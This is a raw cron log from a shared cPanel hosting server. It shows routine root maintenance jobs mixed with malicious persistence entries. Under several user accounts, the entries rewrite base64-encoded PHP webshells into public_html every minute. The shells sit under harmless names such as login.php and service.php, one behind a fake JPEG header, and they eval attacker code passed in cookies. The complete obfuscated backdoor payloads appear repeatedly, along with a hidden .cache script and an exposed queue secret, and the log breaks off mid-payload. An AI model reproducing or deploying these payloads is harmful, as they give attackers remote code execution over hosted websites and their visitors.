Jun  7 15:18:01 medusa CROND[11063]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:18:01 medusa CROND[11064]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:18:01 medusa CROND[11065]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:18:01 medusa CROND[11067]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:18:01 medusa CROND[11069]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 15:18:01 medusa CROND[11073]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:19:01 medusa CROND[12579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:19:01 medusa CROND[12589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:19:01 medusa CROND[12591]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 15:19:01 medusa CROND[12592]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:19:01 medusa CROND[12594]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:19:01 medusa CROND[12595]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:19:01 medusa CROND[12596]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:19:01 medusa CROND[12599]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:19:01 medusa CROND[12600]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:19:01 medusa CROND[12598]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:19:01 medusa CROND[12608]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:19:01 medusa CROND[12610]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:20:01 medusa CROND[14431]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 15:20:01 medusa CROND[14434]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 15:20:01 medusa CROND[14441]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 15:20:01 medusa CROND[14448]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 15:20:01 medusa CROND[14449]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 15:20:01 medusa CROND[14450]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 15:20:02 medusa CROND[14459]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 15:20:02 medusa CROND[14461]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 15:20:02 medusa CROND[14462]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 15:20:02 medusa CROND[14460]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 15:20:02 medusa CROND[14463]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 15:20:02 medusa CROND[14465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:20:02 medusa CROND[14466]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 15:20:02 medusa CROND[14467]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 15:20:02 medusa CROND[14470]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:20:02 medusa CROND[14471]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:20:02 medusa CROND[14472]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:20:02 medusa CROND[14475]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 15:20:02 medusa CROND[14478]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:20:02 medusa CROND[14473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:20:02 medusa CROND[14482]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKC